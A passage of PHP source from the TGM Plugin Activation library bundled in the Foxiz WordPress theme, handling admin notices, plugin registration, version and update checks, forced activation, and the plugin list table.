's in our html would render invalid html output. $line_template = '%s' . "\n"; if ( ! current_user_can( 'activate_plugins' ) && ! current_user_can( 'install_plugins' ) && ! current_user_can( 'update_plugins' ) ) { $rendered = esc_html( $this->strings['notice_cannot_install_activate'] ) . ' ' . esc_html( $this->strings['contact_admin'] ); $rendered .= $this->create_user_action_links_for_notice( 0, 0, 0, $line_template ); } else { // If dismissable is false and a message is set, output it now. if ( ! $this->dismissable && ! empty( $this->dismiss_msg ) ) { $rendered .= sprintf( $line_template, wp_kses_post( $this->dismiss_msg ) ); } // Render the individual message lines for the notice. foreach ( $message as $type => $plugin_group ) { $linked_plugins = array(); // Get the external info link for a plugin if one is available. foreach ( $plugin_group as $plugin_slug ) { $linked_plugins[] = $this->get_info_link( $plugin_slug ); } unset( $plugin_slug ); $count = count( $plugin_group ); $linked_plugins = array_map( array( 'TGMPA_Utils', 'wrap_in_em' ), $linked_plugins ); $last_plugin = array_pop( $linked_plugins ); // Pop off last name to prep for readability. $imploded = empty( $linked_plugins ) ? $last_plugin : ( implode( ', ', $linked_plugins ) . ' ' . esc_html_x( 'and', 'plugin A *and* plugin B', 'foxiz' ) . ' ' . $last_plugin ); $rendered .= sprintf( $line_template, sprintf( translate_nooped_plural( $this->strings[ $type ], $count, 'foxiz' ), $imploded, $count ) ); } unset( $type, $plugin_group, $linked_plugins, $count, $last_plugin, $imploded ); $rendered .= $this->create_user_action_links_for_notice( $install_link_count, $update_link_count, $activate_link_count, $line_template ); } // Register the nag messages and prepare them to be processed. add_settings_error( 'tgmpa', 'tgmpa', $rendered, $this->get_admin_notice_class() ); } // Admin options pages already output settings_errors, so this is to avoid duplication. if ( 'options-general' !== $GLOBALS['current_screen']->parent_base ) { $this->display_settings_errors(); } } /** * Generate the user action links for the admin notice. * * @since 2.6.0 * * @param int $install_count Number of plugins to install. * @param int $update_count Number of plugins to update. * @param int $activate_count Number of plugins to activate. * @param int $line_template Template for the HTML tag to output a line. * @return string Action links. */ protected function create_user_action_links_for_notice( $install_count, $update_count, $activate_count, $line_template ) { // Setup action links. $action_links = array( 'install' => '', 'update' => '', 'activate' => '', 'dismiss' => $this->dismissable ? '' . esc_html( $this->strings['dismiss'] ) . '' : '', ); $link_template = '%1$s'; if ( current_user_can( 'install_plugins' ) ) { if ( $install_count > 0 ) { $action_links['install'] = sprintf( $link_template, translate_nooped_plural( $this->strings['install_link'], $install_count, 'tgmpa' ), esc_url( $this->get_tgmpa_status_url( 'install' ) ) ); } if ( $update_count > 0 ) { $action_links['update'] = sprintf( $link_template, translate_nooped_plural( $this->strings['update_link'], $update_count, 'tgmpa' ), esc_url( $this->get_tgmpa_status_url( 'update' ) ) ); } } if ( current_user_can( 'activate_plugins' ) && $activate_count > 0 ) { $action_links['activate'] = sprintf( $link_template, translate_nooped_plural( $this->strings['activate_link'], $activate_count, 'tgmpa' ), esc_url( $this->get_tgmpa_status_url( 'activate' ) ) ); } $action_links = apply_filters( 'tgmpa_notice_action_links', $action_links ); $action_links = array_filter( (array) $action_links ); // Remove any empty array items. if ( ! empty( $action_links ) ) { $action_links = sprintf( $line_template, implode( ' | ', $action_links ) ); return apply_filters( 'tgmpa_notice_rendered_action_links', $action_links ); } else { return ''; } } /** * Get admin notice class. * * Work around all the changes to the various admin notice classes between WP 4.4 and 3.7 * (lowest supported version by TGMPA). * * @since 2.6.0 * * @return string */ protected function get_admin_notice_class() { if ( ! empty( $this->strings['nag_type'] ) ) { return sanitize_html_class( strtolower( $this->strings['nag_type'] ) ); } else { if ( version_compare( $this->wp_version, '4.2', '>=' ) ) { return 'notice-warning'; } elseif ( version_compare( $this->wp_version, '4.1', '>=' ) ) { return 'notice'; } else { return 'updated'; } } } /** * Display settings errors and remove those which have been displayed to avoid duplicate messages showing * * @since 2.5.0 */ protected function display_settings_errors() { global $wp_settings_errors; settings_errors( 'tgmpa' ); foreach ( (array) $wp_settings_errors as $key => $details ) { if ( 'tgmpa' === $details['setting'] ) { unset( $wp_settings_errors[ $key ] ); break; } } } /** * Register dismissal of admin notices. * * Acts on the dismiss link in the admin nag messages. * If clicked, the admin notice disappears and will no longer be visible to this user. * * @since 2.1.0 */ public function dismiss() { if ( isset( $_GET['tgmpa-dismiss'] ) && check_admin_referer( 'tgmpa-dismiss-' . get_current_user_id() ) ) { update_user_meta( get_current_user_id(), 'tgmpa_dismissed_notice_' . $this->id, 1 ); } } /** * Add individual plugin to our collection of plugins. * * If the required keys are not set or the plugin has already * been registered, the plugin is not added. * * @since 2.0.0 * * @param array|null $plugin Array of plugin arguments or null if invalid argument. * @return null Return early if incorrect argument. */ public function register( $plugin ) { if ( empty( $plugin['slug'] ) || empty( $plugin['name'] ) ) { return; } if ( empty( $plugin['slug'] ) || ! is_string( $plugin['slug'] ) || isset( $this->plugins[ $plugin['slug'] ] ) ) { return; } $defaults = array( 'name' => '', // String 'slug' => '', // String 'source' => 'repo', // String 'required' => false, // Boolean 'version' => '', // String 'force_activation' => false, // Boolean 'force_deactivation' => false, // Boolean 'external_url' => '', // String 'is_callable' => '', // String|Array. ); // Prepare the received data. $plugin = wp_parse_args( $plugin, $defaults ); // Standardize the received slug. $plugin['slug'] = $this->sanitize_key( $plugin['slug'] ); // Forgive users for using string versions of booleans or floats for version number. $plugin['version'] = (string) $plugin['version']; $plugin['source'] = empty( $plugin['source'] ) ? 'repo' : $plugin['source']; $plugin['required'] = TGMPA_Utils::validate_bool( $plugin['required'] ); $plugin['force_activation'] = TGMPA_Utils::validate_bool( $plugin['force_activation'] ); $plugin['force_deactivation'] = TGMPA_Utils::validate_bool( $plugin['force_deactivation'] ); // Enrich the received data. $plugin['file_path'] = $this->_get_plugin_basename_from_slug( $plugin['slug'] ); $plugin['source_type'] = $this->get_plugin_source_type( $plugin['source'] ); // Set the class properties. $this->plugins[ $plugin['slug'] ] = $plugin; $this->sort_order[ $plugin['slug'] ] = $plugin['name']; // Should we add the force activation hook ? if ( true === $plugin['force_activation'] ) { $this->has_forced_activation = true; } // Should we add the force deactivation hook ? if ( true === $plugin['force_deactivation'] ) { $this->has_forced_deactivation = true; } } /** * Determine what type of source the plugin comes from. * * @since 2.5.0 * * @param string $source The source of the plugin as provided, either empty (= WP repo), a file path * (= bundled) or an external URL. * @return string 'repo', 'external', or 'bundled' */ protected function get_plugin_source_type( $source ) { if ( 'repo' === $source || preg_match( self::WP_REPO_REGEX, $source ) ) { return 'repo'; } elseif ( preg_match( self::IS_URL_REGEX, $source ) ) { return 'external'; } else { return 'bundled'; } } /** * Sanitizes a string key. * * Near duplicate of WP Core `sanitize_key()`. The difference is that uppercase characters *are* * allowed, so as not to break upgrade paths from non-standard bundled plugins using uppercase * characters in the plugin directory path/slug. Silly them. * * @see https://developer.wordpress.org/reference/hooks/sanitize_key/ * * @since 2.5.0 * * @param string $key String key. * @return string Sanitized key */ public function sanitize_key( $key ) { $raw_key = $key; $key = preg_replace( '`[^A-Za-z0-9_-]`', '', $key ); /** * Filter a sanitized key string. * * @since 2.5.0 * * @param string $key Sanitized key. * @param string $raw_key The key prior to sanitization. */ return apply_filters( 'tgmpa_sanitize_key', $key, $raw_key ); } /** * Amend default configuration settings. * * @since 2.0.0 * * @param array $config Array of config options to pass as class properties. */ public function config( $config ) { $keys = array( 'id', 'default_path', 'has_notices', 'dismissable', 'dismiss_msg', 'menu', 'parent_slug', 'capability', 'is_automatic', 'message', 'strings', ); foreach ( $keys as $key ) { if ( isset( $config[ $key ] ) ) { if ( is_array( $config[ $key ] ) ) { $this->$key = array_merge( $this->$key, $config[ $key ] ); } else { $this->$key = $config[ $key ]; } } } } /** * Amend action link after plugin installation. * * @since 2.0.0 * * @param array $install_actions Existing array of actions. * @return false|array Amended array of actions. */ public function actions( $install_actions ) { // Remove action links on the TGMPA install page. if ( $this->is_tgmpa_page() ) { return false; } return $install_actions; } /** * Flushes the plugins cache on theme switch to prevent stale entries * from remaining in the plugin table. * * @since 2.4.0 * * @param bool $clear_update_cache Optional. Whether to clear the Plugin updates cache. * Parameter added in v2.5.0. */ public function flush_plugins_cache( $clear_update_cache = true ) { wp_clean_plugins_cache( $clear_update_cache ); } /** * Set file_path key for each installed plugin. * * @since 2.1.0 * * @param string $plugin_slug Optional. If set, only (re-)populates the file path for that specific plugin. * Parameter added in v2.5.0. */ public function populate_file_path( $plugin_slug = '' ) { if ( ! empty( $plugin_slug ) && is_string( $plugin_slug ) && isset( $this->plugins[ $plugin_slug ] ) ) { $this->plugins[ $plugin_slug ]['file_path'] = $this->_get_plugin_basename_from_slug( $plugin_slug ); } else { // Add file_path key for all plugins. foreach ( $this->plugins as $slug => $values ) { $this->plugins[ $slug ]['file_path'] = $this->_get_plugin_basename_from_slug( $slug ); } } } /** * Helper function to extract the file path of the plugin file from the * plugin slug, if the plugin is installed. * * @since 2.0.0 * * @param string $slug Plugin slug (typically folder name) as provided by the developer. * @return string Either file path for plugin if installed, or just the plugin slug. */ protected function _get_plugin_basename_from_slug( $slug ) { $keys = array_keys( $this->get_plugins() ); foreach ( $keys as $key ) { if ( preg_match( '|^' . $slug . '/|', $key ) ) { return $key; } } return $slug; } /** * Retrieve plugin data, given the plugin name. * * Loops through the registered plugins looking for $name. If it finds it, * it returns the $data from that plugin. Otherwise, returns false. * * @since 2.1.0 * * @param string $name Name of the plugin, as it was registered. * @param string $data Optional. Array key of plugin data to return. Default is slug. * @return string|boolean Plugin slug if found, false otherwise. */ public function _get_plugin_data_from_name( $name, $data = 'slug' ) { foreach ( $this->plugins as $values ) { if ( $name === $values['name'] && isset( $values[ $data ] ) ) { return $values[ $data ]; } } return false; } /** * Retrieve the download URL for a package. * * @since 2.5.0 * * @param string $slug Plugin slug. * @return string Plugin download URL or path to local file or empty string if undetermined. */ public function get_download_url( $slug ) { $dl_source = ''; switch ( $this->plugins[ $slug ]['source_type'] ) { case 'repo': return $this->get_wp_repo_download_url( $slug ); case 'external': return $this->plugins[ $slug ]['source']; case 'bundled': return $this->default_path . $this->plugins[ $slug ]['source']; } return $dl_source; // Should never happen. } /** * Retrieve the download URL for a WP repo package. * * @since 2.5.0 * * @param string $slug Plugin slug. * @return string Plugin download URL. */ protected function get_wp_repo_download_url( $slug ) { $source = ''; $api = $this->get_plugins_api( $slug ); if ( false !== $api && isset( $api->download_link ) ) { $source = $api->download_link; } return $source; } /** * Try to grab information from WordPress API. * * @since 2.5.0 * * @param string $slug Plugin slug. * @return object Plugins_api response object on success, WP_Error on failure. */ protected function get_plugins_api( $slug ) { static $api = array(); // Cache received responses. if ( ! isset( $api[ $slug ] ) ) { if ( ! function_exists( 'plugins_api' ) ) { require_once ABSPATH . 'wp-admin/includes/plugin-install.php'; } $response = plugins_api( 'plugin_information', array( 'slug' => $slug, 'fields' => array( 'sections' => false ) ) ); $api[ $slug ] = false; if ( is_wp_error( $response ) ) { wp_die( esc_html( $this->strings['oops'] ) ); } else { $api[ $slug ] = $response; } } return $api[ $slug ]; } /** * Retrieve a link to a plugin information page. * * @since 2.5.0 * * @param string $slug Plugin slug. * @return string Fully formed html link to a plugin information page if available * or the plugin name if not. */ public function get_info_link( $slug ) { if ( ! empty( $this->plugins[ $slug ]['external_url'] ) && preg_match( self::IS_URL_REGEX, $this->plugins[ $slug ]['external_url'] ) ) { $link = sprintf( '%2$s', esc_url( $this->plugins[ $slug ]['external_url'] ), esc_html( $this->plugins[ $slug ]['name'] ) ); } elseif ( 'repo' === $this->plugins[ $slug ]['source_type'] ) { $url = add_query_arg( array( 'tab' => 'plugin-information', 'plugin' => urlencode( $slug ), 'TB_iframe' => 'true', 'width' => '640', 'height' => '500', ), self_admin_url( 'plugin-install.php' ) ); $link = sprintf( '%2$s', esc_url( $url ), esc_html( $this->plugins[ $slug ]['name'] ) ); } else { $link = esc_html( $this->plugins[ $slug ]['name'] ); // No hyperlink. } return $link; } /** * Determine if we're on the TGMPA Install page. * * @since 2.1.0 * * @return boolean True when on the TGMPA page, false otherwise. */ protected function is_tgmpa_page() { return isset( $_GET['page'] ) && $this->menu === $_GET['page']; } /** * Determine if we're on a WP Core installation/upgrade page. * * @since 2.6.0 * * @return boolean True when on a WP Core installation/upgrade page, false otherwise. */ protected function is_core_update_page() { // Current screen is not always available, most notably on the customizer screen. if ( ! function_exists( 'get_current_screen' ) ) { return false; } $screen = get_current_screen(); if ( 'update-core' === $screen->base ) { // Core update screen. return true; } elseif ( 'plugins' === $screen->base && ! empty( $_POST['action'] ) ) { // WPCS: CSRF ok. // Plugins bulk update screen. return true; } elseif ( 'update' === $screen->base && ! empty( $_POST['action'] ) ) { // WPCS: CSRF ok. // Individual updates (ajax call). return true; } return false; } /** * Retrieve the URL to the TGMPA Install page. * * I.e. depending on the config settings passed something along the lines of: * http://example.com/wp-admin/themes.php?page=tgmpa-install-plugins * * @since 2.5.0 * * @return string Properly encoded URL (not escaped). */ public function get_tgmpa_url() { static $url; if ( ! isset( $url ) ) { $parent = $this->parent_slug; if ( false === strpos( $parent, '.php' ) ) { $parent = 'admin.php'; } $url = add_query_arg( array( 'page' => urlencode( $this->menu ), ), self_admin_url( $parent ) ); } return $url; } /** * Retrieve the URL to the TGMPA Install page for a specific plugin status (view). * * I.e. depending on the config settings passed something along the lines of: * http://example.com/wp-admin/themes.php?page=tgmpa-install-plugins&plugin_status=install * * @since 2.5.0 * * @param string $status Plugin status - either 'install', 'update' or 'activate'. * @return string Properly encoded URL (not escaped). */ public function get_tgmpa_status_url( $status ) { return add_query_arg( array( 'plugin_status' => urlencode( $status ), ), $this->get_tgmpa_url() ); } /** * Determine whether there are open actions for plugins registered with TGMPA. * * @since 2.5.0 * * @return bool True if complete, i.e. no outstanding actions. False otherwise. */ public function is_tgmpa_complete() { $complete = true; //add for redirect when all plugin active at first time foreach ( $this->plugins as $slug => $plugin ) { if ( ! $this->is_plugin_active( $slug ) || false !== $this->does_plugin_have_update( $slug ) ) { $complete = false; break; } } return $complete; } /** * Check if a plugin is installed. Does not take must-use plugins into account. * * @since 2.5.0 * * @param string $slug Plugin slug. * @return bool True if installed, false otherwise. */ public function is_plugin_installed( $slug ) { $installed_plugins = $this->get_plugins(); // Retrieve a list of all installed plugins (WP cached). return ( ! empty( $installed_plugins[ $this->plugins[ $slug ]['file_path'] ] ) ); } /** * Check if a plugin is active. * * @since 2.5.0 * * @param string $slug Plugin slug. * @return bool True if active, false otherwise. */ public function is_plugin_active( $slug ) { return ( ( ! empty( $this->plugins[ $slug ]['is_callable'] ) && is_callable( $this->plugins[ $slug ]['is_callable'] ) ) || is_plugin_active( $this->plugins[ $slug ]['file_path'] ) ); } /** * Check if a plugin can be updated, i.e. if we have information on the minimum WP version required * available, check whether the current install meets them. * * @since 2.5.0 * * @param string $slug Plugin slug. * @return bool True if OK to update, false otherwise. */ public function can_plugin_update( $slug ) { // We currently can't get reliable info on non-WP-repo plugins - issue #380. if ( 'repo' !== $this->plugins[ $slug ]['source_type'] ) { return true; } $api = $this->get_plugins_api( $slug ); if ( false !== $api && isset( $api->requires ) ) { return version_compare( $this->wp_version, $api->requires, '>=' ); } // No usable info received from the plugins API, presume we can update. return true; } /** * Check to see if the plugin is 'updatetable', i.e. installed, with an update available * and no WP version requirements blocking it. * * @since 2.6.0 * * @param string $slug Plugin slug. * @return bool True if OK to proceed with update, false otherwise. */ public function is_plugin_updatetable( $slug ) { if ( ! $this->is_plugin_installed( $slug ) ) { return false; } else { return ( false !== $this->does_plugin_have_update( $slug ) && $this->can_plugin_update( $slug ) ); } } /** * Check if a plugin can be activated, i.e. is not currently active and meets the minimum * plugin version requirements set in TGMPA (if any). * * @since 2.5.0 * * @param string $slug Plugin slug. * @return bool True if OK to activate, false otherwise. */ public function can_plugin_activate( $slug ) { return ( ! $this->is_plugin_active( $slug ) && ! $this->does_plugin_require_update( $slug ) ); } /** * Retrieve the version number of an installed plugin. * * @since 2.5.0 * * @param string $slug Plugin slug. * @return string Version number as string or an empty string if the plugin is not installed * or version unknown (plugins which don't comply with the plugin header standard). */ public function get_installed_version( $slug ) { $installed_plugins = $this->get_plugins(); // Retrieve a list of all installed plugins (WP cached). if ( ! empty( $installed_plugins[ $this->plugins[ $slug ]['file_path'] ]['Version'] ) ) { return $installed_plugins[ $this->plugins[ $slug ]['file_path'] ]['Version']; } return ''; } /** * Check whether a plugin complies with the minimum version requirements. * * @since 2.5.0 * * @param string $slug Plugin slug. * @return bool True when a plugin needs to be updated, otherwise false. */ public function does_plugin_require_update( $slug ) { $installed_version = $this->get_installed_version( $slug ); $minimum_version = $this->plugins[ $slug ]['version']; return version_compare( $minimum_version, $installed_version, '>' ); } /** * Check whether there is an update available for a plugin. * * @since 2.5.0 * * @param string $slug Plugin slug. * @return false|string Version number string of the available update or false if no update available. */ public function does_plugin_have_update( $slug ) { // Presume bundled and external plugins will point to a package which meets the minimum required version. if ( 'repo' !== $this->plugins[ $slug ]['source_type'] ) { if ( $this->does_plugin_require_update( $slug ) ) { return $this->plugins[ $slug ]['version']; } return false; } $repo_updates = get_site_transient( 'update_plugins' ); if ( isset( $repo_updates->response[ $this->plugins[ $slug ]['file_path'] ]->new_version ) ) { return $repo_updates->response[ $this->plugins[ $slug ]['file_path'] ]->new_version; } return false; } /** * Retrieve potential upgrade notice for a plugin. * * @since 2.5.0 * * @param string $slug Plugin slug. * @return string The upgrade notice or an empty string if no message was available or provided. */ public function get_upgrade_notice( $slug ) { // We currently can't get reliable info on non-WP-repo plugins - issue #380. if ( 'repo' !== $this->plugins[ $slug ]['source_type'] ) { return ''; } $repo_updates = get_site_transient( 'update_plugins' ); if ( ! empty( $repo_updates->response[ $this->plugins[ $slug ]['file_path'] ]->upgrade_notice ) ) { return $repo_updates->response[ $this->plugins[ $slug ]['file_path'] ]->upgrade_notice; } return ''; } /** * Wrapper around the core WP get_plugins function, making sure it's actually available. * * @since 2.5.0 * * @param string $plugin_folder Optional. Relative path to single plugin folder. * @return array Array of installed plugins with plugin information. */ public function get_plugins( $plugin_folder = '' ) { if ( ! function_exists( 'get_plugins' ) ) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; } return get_plugins( $plugin_folder ); } /** * Delete dismissable nag option when theme is switched. * * This ensures that the user(s) is/are again reminded via nag of required * and/or recommended plugins if they re-activate the theme. * * @since 2.1.1 */ public function update_dismiss() { delete_metadata( 'user', null, 'tgmpa_dismissed_notice_' . $this->id, null, true ); } /** * Forces plugin activation if the parameter 'force_activation' is * set to true. * * This allows theme authors to specify certain plugins that must be * active at all times while using the current theme. * * Please take special care when using this parameter as it has the * potential to be harmful if not used correctly. Setting this parameter * to true will not allow the specified plugin to be deactivated unless * the user switches themes. * * @since 2.2.0 */ public function force_activation() { foreach ( $this->plugins as $slug => $plugin ) { if ( true === $plugin['force_activation'] ) { if ( ! $this->is_plugin_installed( $slug ) ) { // Oops, plugin isn't there so iterate to next condition. continue; } elseif ( $this->can_plugin_activate( $slug ) ) { // There we go, activate the plugin. activate_plugin( $plugin['file_path'] ); } } } } /** * Forces plugin deactivation if the parameter 'force_deactivation' * is set to true and adds the plugin to the 'recently active' plugins list. * * This allows theme authors to specify certain plugins that must be * deactivated upon switching from the current theme to another. * * Please take special care when using this parameter as it has the * potential to be harmful if not used correctly. * * @since 2.2.0 */ public function force_deactivation() { $deactivated = array(); foreach ( $this->plugins as $slug => $plugin ) { /* * Only proceed forward if the parameter is set to true and plugin is active * as a 'normal' (not must-use) plugin. */ if ( true === $plugin['force_deactivation'] && is_plugin_active( $plugin['file_path'] ) ) { deactivate_plugins( $plugin['file_path'] ); $deactivated[ $plugin['file_path'] ] = time(); } } if ( ! empty( $deactivated ) ) { update_option( 'recently_activated', $deactivated + (array) get_option( 'recently_activated' ) ); } } /** * Echo the current TGMPA version number to the page. * * @since 2.5.0 */ public function show_tgmpa_version() { echo '

', esc_html( sprintf( /* translators: %s: version number */ esc_html__( 'TGMPA v%s', 'foxiz' ), self::TGMPA_VERSION ) ), '

'; } /** * Returns the singleton instance of the class. * * @since 2.4.0 * * @return \TGM_Plugin_Activation The TGM_Plugin_Activation object. */ public static function get_instance() { if ( ! isset( self::$instance ) && ! ( self::$instance instanceof self ) ) { self::$instance = new self(); } return self::$instance; } } if ( ! function_exists( 'load_tgm_plugin_activation' ) ) { /** * Ensure only one instance of the class is ever invoked. * * @since 2.5.0 */ function load_tgm_plugin_activation() { $GLOBALS['tgmpa'] = TGM_Plugin_Activation::get_instance(); } } if ( did_action( 'plugins_loaded' ) ) { load_tgm_plugin_activation(); } else { add_action( 'plugins_loaded', 'load_tgm_plugin_activation' ); } } if ( ! function_exists( 'tgmpa' ) ) { /** * Helper function to register a collection of required plugins. * * @since 2.0.0 * @api * * @param array $plugins An array of plugin arrays. * @param array $config Optional. An array of configuration values. */ function tgmpa( $plugins, $config = array() ) { $instance = call_user_func( array( get_class( $GLOBALS['tgmpa'] ), 'get_instance' ) ); foreach ( $plugins as $plugin ) { call_user_func( array( $instance, 'register' ), $plugin ); } if ( ! empty( $config ) && is_array( $config ) ) { // Send out notices for deprecated arguments passed. if ( isset( $config['notices'] ) ) { _deprecated_argument( __FUNCTION__, '2.2.0', 'The `notices` config parameter was renamed to `has_notices` in TGMPA 2.2.0. Please adjust your configuration.' ); if ( ! isset( $config['has_notices'] ) ) { $config['has_notices'] = $config['notices']; } } if ( isset( $config['parent_menu_slug'] ) ) { _deprecated_argument( __FUNCTION__, '2.4.0', 'The `parent_menu_slug` config parameter was removed in TGMPA 2.4.0. In TGMPA 2.5.0 an alternative was (re-)introduced. Please adjust your configuration. For more information visit the website: http://tgmpluginactivation.com/configuration/#h-configuration-options.' ); } if ( isset( $config['parent_url_slug'] ) ) { _deprecated_argument( __FUNCTION__, '2.4.0', 'The `parent_url_slug` config parameter was removed in TGMPA 2.4.0. In TGMPA 2.5.0 an alternative was (re-)introduced. Please adjust your configuration. For more information visit the website: http://tgmpluginactivation.com/configuration/#h-configuration-options.' ); } call_user_func( array( $instance, 'config' ), $config ); } } } /** * WP_List_Table isn't always available. If it isn't available, * we load it here. * * @since 2.2.0 */ if ( ! class_exists( 'WP_List_Table' ) ) { require_once ABSPATH . 'wp-admin/includes/class-wp-list-table.php'; } if ( ! class_exists( 'TGMPA_List_Table' ) ) { /** * List table class for handling plugins. * * Extends the WP_List_Table class to provide a future-compatible * way of listing out all required/recommended plugins. * * Gives users an interface similar to the Plugin Administration * area with similar (albeit stripped down) capabilities. * * This class also allows for the bulk install of plugins. * * @since 2.2.0 * * @package TGM-Plugin-Activation * @author Thomas Griffin * @author Gary Jones */ class TGMPA_List_Table extends WP_List_Table { /** * TGMPA instance. * * @since 2.5.0 * * @var object */ protected $tgmpa; /** * The currently chosen view. * * @since 2.5.0 * * @var string One of: 'all', 'install', 'update', 'activate' */ public $view_context = 'all'; /** * The plugin counts for the various views. * * @since 2.5.0 * * @var array */ protected $view_totals = array( 'all' => 0, 'install' => 0, 'update' => 0, 'activate' => 0, ); /** * References parent constructor and sets defaults for class. * * @since 2.2.0 */ public function __construct() { $this->tgmpa = call_user_func( array( get_class( $GLOBALS['tgmpa'] ), 'get_instance' ) ); parent::__construct( array( 'singular' => 'plugin', 'plural' => 'plugins', 'ajax' => false, ) ); if ( isset( $_REQUEST['plugin_status'] ) && in_array( $_REQUEST['plugin_status'], array( 'install', 'update', 'activate' ), true ) ) { $this->view_context = sanitize_key( $_REQUEST['plugin_status'] ); } add_filter( 'tgmpa_table_data_items', array( $this, 'sort_table_items' ) ); } /** * Get a list of CSS classes for the tag. * * Overruled to prevent the 'plural' argument from being added. * * @since 2.5.0 * * @return array CSS classnames. */ public function get_table_classes() { return array( 'widefat', 'fixed' ); } /** * Gathers and renames all of our plugin information to be used by WP_List_Table to create our table. * * @since 2.2.0 * * @return array $table_data Information for use in table. */ protected function _gather_plugin_data() { // Load thickbox for plugin links. $this->tgmpa->admin_init(); $this->tgmpa->thickbox(); // Categorize the plugins which have open actions. $plugins = $this->categorize_plugins_to_views(); // Set the counts for the view links. $this->set_view_totals( $plugins ); // Prep variables for use and grab list of all installed plugins. $table_data = array(); $i = 0; // Redirect to the 'all' view if no plugins were found for the selected view context. if ( empty( $plugins[ $this->view_context ] ) ) { $this->view_context = 'all'; } foreach ( $plugins[ $this->view_context ] as $slug => $plugin ) { $table_data[ $i ]['sanitized_plugin'] = $plugin['name']; $table_data[ $i ]['slug'] = $slug; $table_data[ $i ]['plugin'] = '' . $this->tgmpa->get_info_link( $slug ) . ''; $table_data[ $i ]['source'] = $this->get_plugin_source_type_text( $plugin['source_type'] ); $table_data[ $i ]['type'] = $this->get_plugin_advise_type_text( $plugin['required'] ); $table_data[ $i ]['status'] = $this->get_plugin_status_text( $slug ); $table_data[ $i ]['installed_version'] = $this->tgmpa->get_installed_version( $slug ); $table_data[ $i ]['minimum_version'] = $plugin['version']; $table_data[ $i ]['available_version'] = $this->tgmpa->does_plugin_have_update( $slug ); // Prep the upgrade notice info. $upgrade_notice = $this->tgmpa->get_upgrade_notice( $slug ); if ( ! empty( $upgrade_notice ) ) { $table_data[ $i ]['upgrade_notice'] = $upgrade_notice; add_action( "tgmpa_after_plugin_row_{$slug}", array( $this, 'wp_plugin_update_row' ), 10, 2 ); } $table_data[ $i ] = apply_filters( 'tgmpa_table_data_item', $table_data[ $i ], $plugin ); $i++; } return $table_data; } /** * Categorize the plugins which have open actions into views for the TGMPA page. * * @since 2.5.0 */ protected function categorize_plugins_to_views() { $plugins = array( 'all' => array(), // Meaning: all plugins which still have open actions. 'install' => array(), 'update' => array(), 'activate' => array(), ); foreach ( $this->tgmpa->plugins as $slug => $plugin ) { if ( $this->tgmpa->is_plugin_active( $slug ) && false === $this->tgmpa->does_plugin_have_update( $slug ) ) { // No need to display plugins if they are installed, up-to-date and active. continue; } else { $plugins['all'][ $slug ] = $plugin; if ( ! $this->tgmpa->is_plugin_installed( $slug ) ) { $plugins['install'][ $slug ] = $plugin; } else { if ( false !== $this->tgmpa->does_plugin_have_update( $slug ) ) { $plugins['update'][ $slug ] = $plugin; } if ( $this->tgmpa->can_plugin_activate( $slug ) ) { $plugins['activate'][ $slug ] = $plugin; } } } } return $plugins; } /** * Set the counts for the view links. * * @since 2.5.0 * * @param array $plugins Plugins order by view. */ protected function set_view_totals( $plugins ) { foreach ( $plugins as $type => $list ) { $this->view_totals[ $type ] = count( $list ); } } /** * Get the plugin required/recommended text string. * * @since 2.5.0 * * @param string $required Plugin required setting. * @return string */ protected function get_plugin_advise_type_text( $required ) { if ( true === $required ) { return esc_html__( 'Required', 'foxiz' ); } return esc_html__( 'Recommended', 'foxiz' ); } /** * Get the plugin source type text string. * * @since 2.5.0 * * @param string $type Plugin type. * @return string */ protected function get_plugin_source_type_text( $type ) { $string = ''; switch ( $type ) { case 'repo': $string = esc_html__( 'WordPress Repository', 'foxiz' ); break; case 'external': $string = esc_html__( 'External Source', 'foxiz' ); break; case 'bundled': $string = esc_html__( 'Pre-Packaged', 'foxiz' ); break; } return $string; } /** * Determine the plugin status message. * * @since 2.5.0 * * @param string $slug Plugin slug. * @return string */ protected function get_plugin_status_text( $slug ) { if ( ! $this->tgmpa->is_plugin_installed( $slug ) ) { return esc_html__( 'Not Installed', 'foxiz' ); } if ( ! $this->tgmpa->is_plugin_active( $slug ) ) { $install_status = esc_html__( 'Installed But Not Activated', 'foxiz' ); } else { $install_status = esc_html__( 'Active', 'foxiz' ); } $update_status = ''; if ( $this->tgmpa->does_plugin_require_update( $slug ) && false === $this->tgmpa->does_plugin_have_update( $slug ) ) { $update_status = esc_html__( 'Required Update not Available', 'foxiz' ); } elseif ( $this->tgmpa->does_plugin_require_update( $slug ) ) { $update_status = esc_html__( 'Requires Update', 'foxiz' ); } elseif ( false !== $this->tgmpa->does_plugin_have_update( $slug ) ) { $update_status = esc_html__( 'Update recommended', 'foxiz' ); } if ( '' === $update_status ) { return $install_status; } return sprintf( /* translators: 1: install status, 2: update status */ _x( '%1$s, %2$s', 'Install/Update Status', 'foxiz' ), $install_status, $update_status ); } /** * Sort plugins by Required/Recommended type and by alphabetical plugin name within each type. * * @since 2.5.0 * * @param array $items Prepared table items. * @return array Sorted table items. */ public function sort_table_items( $items ) { $type = array(); $name = array(); foreach ( $items as $i => $plugin ) { $type[ $i ] = $plugin['type']; // Required / recommended. $name[ $i ] = $plugin['sanitized_plugin']; } array_multisort( $type, SORT_DESC, $name, SORT_ASC, $items ); return $items; } /** * Get an associative array ( id => link ) of the views available on this table. * * @since 2.5.0 * * @return array */ public function get_views() { $status_links = array(); foreach ( $this->view_totals as $type => $count ) { if ( $count < 1 ) { continue; } switch ( $type ) { case 'all': /* translators: 1: number of plugins. */ $text = _nx( 'All (%s)', 'All (%s)', $count, 'plugins', 'foxiz' ); break; case 'install': /* translators: 1: number of plugins. */ $text = _n( 'To Install (%s)', 'To Install (%s)', $count, 'foxiz' ); break; case 'update': /* translators: 1: number of plugins. */ $text = _n( 'Update Available (%s)', 'Update Available (%s)', $count, 'foxiz' ); break; case 'activate': /* translators: 1: number of plugins. */ $text = _n( 'To Activate (%s)', 'To Activate (%s)', $count, 'foxiz' ); break; default: $text = ''; break; } if ( ! empty( $text ) ) { $status_links[ $type ] = sprintf( '%s', esc_url( $this->tgmpa->get_tgmpa_status_url( $type ) ), ( $type === $this->view_context ) ? ' class="current"' : '', sprintf( $text, number_format_i18n( $count ) ) ); } } return $status_links; } /** * Create default columns to display important plugin information * like type, action and status. * * @since 2.2.0 * * @param array $item Array of item data. * @param string $column_name The name of the column. * @return string */ public function column_default( $item, $column_name ) { return $item[ $column_name ]; } /** * Required for bulk installing. * * Adds a checkbox for each plugin. * * @since 2.2.0 * * @param array $item Array of item data. * @return string The input checkbox with all necessary info. */ public function column_cb( $item ) { return sprintf( '', esc_attr( $this->_args['singular'] ), esc_attr( 